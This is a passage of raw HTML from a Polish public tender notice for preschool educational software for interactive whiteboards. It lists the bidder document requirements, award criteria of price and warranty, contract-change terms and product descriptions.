id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen"></span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu"></span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione">Zamawiający przewiduje , że:1) do oferty Wykonawca dołącza aktualne na dzień składania ofert oświadczenie w zakresie wskazanym przez Zamawiającego w ogłoszeniu o zamówieniu i SIWZ w formie załącznika do SIWZ. Informacje zawarte w załączniku do SIWZ stanowią potwierdzenie, że Wykonawca nie podlega wykluczeniu oraz spełnia warunki udziału w postępowaniu,2) Wykonawca, który powołuje się na zasoby innych podmiotów, w celu wykazania braku istnienia wobec nich podstaw wykluczenia oraz spełniania, w zakresie, w jakim powołuje się na ich zasoby warunków udziału w postępowaniu, składa także załącznik do SIWZ dotyczący tych podmiotów,3) w przypadku wspólnego ubiegania się o zamówienie, załącznik do SIWZ składa każdy z wykonawców wspólnie ubiegających się o zamówienie. Dokumenty te potwierdzają spełnianie warunków udziału w postępowaniu oraz brak podstaw wykluczenia w zakresie, w którym każdy z wykonawców wykazuje spełnianie warunków udziału w postępowaniu oraz brak podstaw wykluczenia,4) Wykonawca nie jest obowiązany do złożenia oświadczeń potwierdzających spełnianie warunków udziału w postępowaniu i braku podstaw wykluczenia z postępowania, jeżeli Zamawiający posiada oświadczenia dotyczące tego Wykonawcy lub może je uzyskać za pomocą bezpłatnych i ogólnodostępnych baz danych, w szczególności rejestrów publicznych w rozumieniu ustawy z dnia 17 lutego 2005 r. o informatyzacji działalności podmiotów realizujących zadania publiczne (Dz.U. z 2017 r. poz. 570) - wskazując jednocześnie znak lub tytuł postępowania, w którym zawarł wymagane informacje,5) Zamawiający żąda wskazania przez Wykonawcę części zamówienia, których wykonanie zamierza powierzyć podwykonawcom, i podania przez Wykonawcę firm podwykonawców,6) zgodnie z art. 26 ust. 2 ustawy PZP, Zamawiający może wezwać Wykonawcę, którego oferta została najwyżej oceniona, do złożenia w wyznaczonym, nie krótszym niż 5 dni, terminie aktualnych na dzień złożenia oświadczeń lub dokumentów potwierdzających okoliczności, o których mowa w art. 25 ust. 1 ustawy PZP, 7) jeżeli oświadczenia lub inne złożone przez Wykonawcę dokumenty będą budzić wątpliwości Zamawiającego, może on zwrócić się bezpośrednio do właściwego podmiotu, na rzecz którego usługi były wykonywane, o dodatkowe informacje lub dokumenty w tym zakresie,8) w przypadku wskazania przez Wykonawcę dostępności oświadczeń lub dokumentów (dostępnych w formie elektronicznej pod określonymi adresami internetowymi ogólnodostępnych i bezpłatnych baz danych), o których mowa w niniejszym Rozdziale VI SIWZ, tj. składanych w celu potwierdzenia braku podstaw wykluczenia, w tym składanych w celu potwierdzenia braku podstaw wykluczenia Wykonawcy z udziału w postępowaniu przez Wykonawcę mającego siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, Zamawiający pobiera samodzielnie z tych baz danych wskazane przez Wykonawcę oświadczenia lub dokumenty. Analogicznie rzecz dotyczy Wykonawcy mającego siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, o ile są one aktualne,9) poświadczenia za zgodność z oryginałem dokonuje odpowiednio Wykonawca, podmiot, na którego zdolnościach lub sytuacji polega Wykonawca, wykonawcy wspólnie ubiegający się udzielenie zamówienia publicznego albo Podwykonawca, w zakresie dokumentów, które każdego z nich dotyczą,10) jeżeli Wykonawca nie złoży dokumentów stanowiących załączniki do SIWZ, oświadczeń potwierdzających spełnianie warunków udziału w postępowaniu, spełnianie przez oferowane usługi wymagań określonych przez Zamawiającego lub brak podstaw wykluczenia, lub innych dokumentów niezbędnych do przeprowadzenia postępowania, oświadczenia są niekompletne, zawierają błędy lub budzą wskazane przez Zamawiającego wątpliwości, Zamawiający wzywa do ich złożenia, uzupełnienia lub poprawienia lub do udzielania wyjaśnień w terminie przez siebie wskazanym, chyba że mimo ich złożenia, uzupełnienia, poprawienia lub udzielenia wyjaśnień, oferta Wykonawcy podlega odrzuceniu albo konieczne byłoby unieważnienie postępowania,11) Zamawiający wzywa także, w wyznaczonym przez siebie terminie, do złożenia wyjaśnień dotyczących oświadczeń, o których mowa w art. 25 ust. 1 ustawy PZP, jeżeli jest to niezbędne do zapewnienia odpowiedniego przebiegu postępowania o udzielenie zamówienia. Zamawiający może na każdym etapie postępowania wezwać wykonawców do złożenia wszystkich lub niektórych oświadczeń lub dokumentów potwierdzających, że nie podlegają wykluczeniu, spełniają warunki udziału w postępowaniu, a jeżeli zachodzą uzasadnione podstawy do uznania, że złożone uprzednio oświadczenia lub dokumenty nie są już aktualne, do złożenia aktualnych oświadczeń lub dokumentów.12) oświadczenie wymagane od Wykonawcy w zakresie wypełnienia przez niego obowiązków informacyjnych przewidzianych w art. 13 lub art. 14 RODO oraz klauzula informacyjna oferenta - Załącznik Nr 5 do SIWZ - jeżeli dotyczy.Wykonawca ubiegając się o udzielenie zamówienia publicznego jest zobowiązany do wypełnienia wszystkich obowiązków formalno-prawnych związanych z udziałem w postępowaniu. Do obowiązków tych należą m.in. obowiązki wynikające z RODO, w szczególności obowiązek informacyjny przewidziany w art. 13 RODO względem osób fizycznych, których dane osobowe dotyczą i od których dane te wykonawca bezpośrednio pozyskał. Jednakże obowiązek informacyjny wynikający z art. 13 RODO nie będzie miał zastosowania, gdy i w zakresie, w jakim osoba fizyczna, której dane dotyczą, dysponuje już tymi informacjami (vide: art. 13 ust. 4).Ponadto wykonawca będzie musiał wypełnić obowiązek informacyjny wynikający z art. 14 RODO względem osób fizycznych, których dane przekazuje Zamawiającemu i których dane pośrednio pozyskał, chyba że ma zastosowanie co najmniej jedno z włączeń, o których mowa w art. 14 ust. 5 RODO.W celu zapewnienia, że wykonawca wypełnił ww. obowiązki informacyjne oraz ochrony prawnie uzasadnionych interesów osoby trzeciej, której dane zostały przekazane w związku z udziałem wykonawcy w postępowaniu, zaleca się zobowiązanie Wykonawcy do złożenia w postępowaniu o udzielenie zamówienia publicznego oświadczenia o wypełnieniu przez niego obowiązków informacyjnych przewidzianych w art. 13 lub art. 14 RODO.</span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Nie</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"></span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Tak</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej">Nie</span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej"></span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej"></span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena</TD><TD style='border: 1px solid black;border-collapse: collapse;'>60,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>gwarancja</TD><TD style='border: 1px solid black;border-collapse: collapse;'>40,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Tak</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Tak</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst">Zamawiający przewiduje możliwość zmian postanowień zawartej umowy w przypadkach, gdy: 1)	nastąpi zmiana powszechnie obowiązujących przepisów prawa w zakresie mającym wpływ na realizację umowy, której nie dało się przewidzieć pomimo zachowania należytej staranności i nie jest to zawinione przez Strony, 2)	w celu prawidłowego wykonania umowy niezbędna i konieczna jest zmiana sposobu wykonania zobowiązania przez Wykonawcę, czego nie dało się przewidzieć pomimo zachowania należytej staranności i nie jest to zawinione przez Strony, 3)	niezbędna i konieczna jest zmiana terminu wykonania umowy ze względu na zaistnienie okoliczności lub zdarzeń uniemożliwiających realizację umowy w wyznaczonym terminie, których nie dało się przewidzieć pomimo zachowania należytej staranności i nie są one zawinione przez Strony, w szczególności zmian w harmonogramie roku szkolnego, 4)	zmiany miejsca dostawy ze względu na zmiany organizacyjne po stronie Zamawiającego,5)	zmiany danych teleadresowych Zamawiającego lub Wykonawcy, 6)	zmiany rachunku bankowego Wykonawcy,7)	ze względu na zaistnienie okoliczności lub zdarzeń uniemożliwiających realizację umowy, których nie dało się przewidzieć pomimo zachowania należytej staranności i nie są one zawinione przez Strony, o ile Zamawiający dysponuje odpowiednimi środkami finansowymi.</span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2018-11-26</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">08:29</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki">język polski</span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Tak</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5"></span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> <table><tr><td><b>Część nr: </b></td><td>1</td><td><b>Nazwa: </b></td><td>programy do tablicy interaktywnej</td></tr></table><b>1) Krótki opis przedmiotu zamówienia </b><i> (wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań)</i><b> a w przypadku partnerstwa innowacyjnego -określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:</b>Programy edukacyjne do tablicy interaktywnej i do komputera odpowiednie dla dzieci w wieku przedszkolnym - pakiet	"Przedszkolak na start - po 1 szt. na każde przedszkole Ćwiczenia podzielono na grupy, które stymulują sprawności takie jak percepcja słuchowa i umiejętności językowe, percepcja wzrokowa, motoryka mała i duża, umiejętności matematyczne. Program skutecznie rozwija wszechstronne umiejętności dzieci podczas pracy grupowej oraz indywidualnej. Akademia umysłu JUNIOR - Jesień (wersja polsko-angielska) - po 1 szt. na każde przedszkoleAkademia umysłu JUNIOR - Zima (wersja polsko-angielska) - po 1 szt. na każde przedszkole Akademia umysłu JUNIOR - Wiosna (wersja polsko-angielska) - po 1 szt. na każde przedszkole Akademia Umysłu JUNIOR - Lato (wersja polsko-angielska) - po 1 szt. na każde przedszkole Bawi, uczy oraz rozwija pamięć i koncentrację uwagi dzieci w wieku 5 - 9 lat. Poznawanie i osłuchiwanie się z j.angielskim podczas zabawy! Każda z 4 części (WIOSNA, JESIEŃ, ZIMA, LATO) zawiera aż 20 unikatowych ćwiczeń. Programy z serii Akademii Umysłu(R)Juniorrozwijają pamięć, koncentrację i intelekt oraz wskazują społeczne wzorce! Specjalny dodatek językowy umożliwia zmianę języka zabawyw dowolnej chwili!Ponadto zawarte w programach pochwały, nagrody i niespodzianki przyznawane za uzyskiwane osiągnięcia pozytywnie motywują małego gracza. Główne informacje: o Wersja językowa: polska, angielska o Ilość stanowisk: 1 o Typ licencji: edukacyjna o Ważność licencji: wieczysta. Moje Przedszkole - czytam i liczę 4-7 lat - - po 1 szt. na każde przedszkole Pakiet zawierajacy 2 pełne wersje gier edukacyjnych: - Bolek i Lolek alfabet i nauka czytania - Matematyka dodawanie i odejmowanie ponad 50 zroznicowanych gier i zabaw, zagadki, rymowanki, wierszyki i piosenki, prezentacja liter z wyjasnieniem ich roli w tworzeniu sylab i wyrazow, kolejnosc i zasady wprowadzania liter zgodne z elementarzem, nauka czytania poprzez sylabizowanie, poprawna wymowa głosek, budowa sylab i wyrazow, pomoc kontekstowa dostepna w kazdej chwili pod prawym przyciskiem myszki nauka cyfr i liczb, działania z zakresu dodawania i odejmowania oraz porownywanie liczb poziom zabaw dopasowany do mozliwosci dzieci w najnizszej grupie wiekowej."Program multimedialny (do matematyki) - komplet	"EduROM Matematyka na wesoło 5-6 lat Pierwsze odkrycia -- 1 szt. w zestawie GŁÓWNE CECHY PROGRAMU: o liczby naturalne w zakresie 1 - 12 o rozpoznawanie kształtów i kolorów o proste oznaczanie i odczytywanie czasu o wskazywanie liczb ze słuchu o liczenie w pamięci o łączenie liczb w pary o łączenie przedmiotów w zbiór o porządkowanie przedmiotów według kolejności i rozmiaru setki interaktywnych ćwiczeń matematycznych o możliwość śledzenia postępów w nauce: § rejestr wyników § tablica rekordzistów o zabawy ćwiczące spostrzegawczość o stopniowalny poziom trudności zadań o pomoc w formie dźwiękowej o wiele zabawnych animacji, ilustracji i narracjiZabawy z liczbami -- 1 szt. w zestawie Seria atrakcyjnych gier kształtujących i rozwijających zainteresowanie i zdolności matematyczne. Przeznaczona dla dzieci w wieku 5-8 lat. Bawiąc się grami dziecko poznaje liczby, ich własności i rodzaje. Uczy się porównywać i wykonywać podstawowe działania matematyczne jak: dodawanie, odejmowanie, mnożenie. Poznaje też figury geometryczne i ich cechy. Zabawy z liczbami to doskonała pomoc w początkach edukacji matematycznej! Każda gra dostępna jest w wielu stopniach trudności. Pozwala to dopasować wymagania do aktualnych umiejętności dziecka. Wszystkie gry są dokładnie omówione, co pozwala dzieciom samodzielnie i bezproblemowo korzystać z programu. Oprócz gier program zawiera też multimedialne lekcje matematyki, które w atrakcyjny sposób prezentują i tłumaczą zagadnienia związane z tematyką programu. Dzięki nim dzieci z łatwością uczą się, a grając w gry wykorzystują w praktyce nabytą wiedzę i umiejętności. Zabawy z liczbami kształtują i rozwijają: - zainteresowanie matematyką - umiejętności liczenia i porównywania - znajomość działań matematycznych - wiedzę o figurach i ich cechach - myślenie matematyczne Program został nagrodzony prestiżowym wyróżnieniem All Star Software przyznanym przez Childrens Software Revue!Wesołe przedszkole Bolka i Lolka -- 1 szt. w zestawie Program składa się z 24 mówiących kolorowanek i bogato animowanych portretów przyjaciół Bolka i Lolka. Znajdują się w nim animowane puzzle, które można ułożyć na trzy sposoby: jako puzzle tradycyjne, przesuwane i przekładane. W zabawie ""kropka w kropkę"" dzieci poznają cyferki i literki, a w nagrodę oglądają zabawne animacje. Pamięć zaś ćwiczą pomagając Yeti uzupełnić brakującą zawartość lodówki. Jest także gra ""znajdź szczegóły"", ćwicząca spostrzegawczość i gra ""memo"" trenująca pamięć. Program zapewnia doskonałą zabawę najmłodszym użytkownikom komputera, a przy okazji dostarcza wiedzę z zakresu przedszkola i zerówki.Gotowy Do Szkoły 1 - Piszę i liczę -- 1 szt. w zestawie 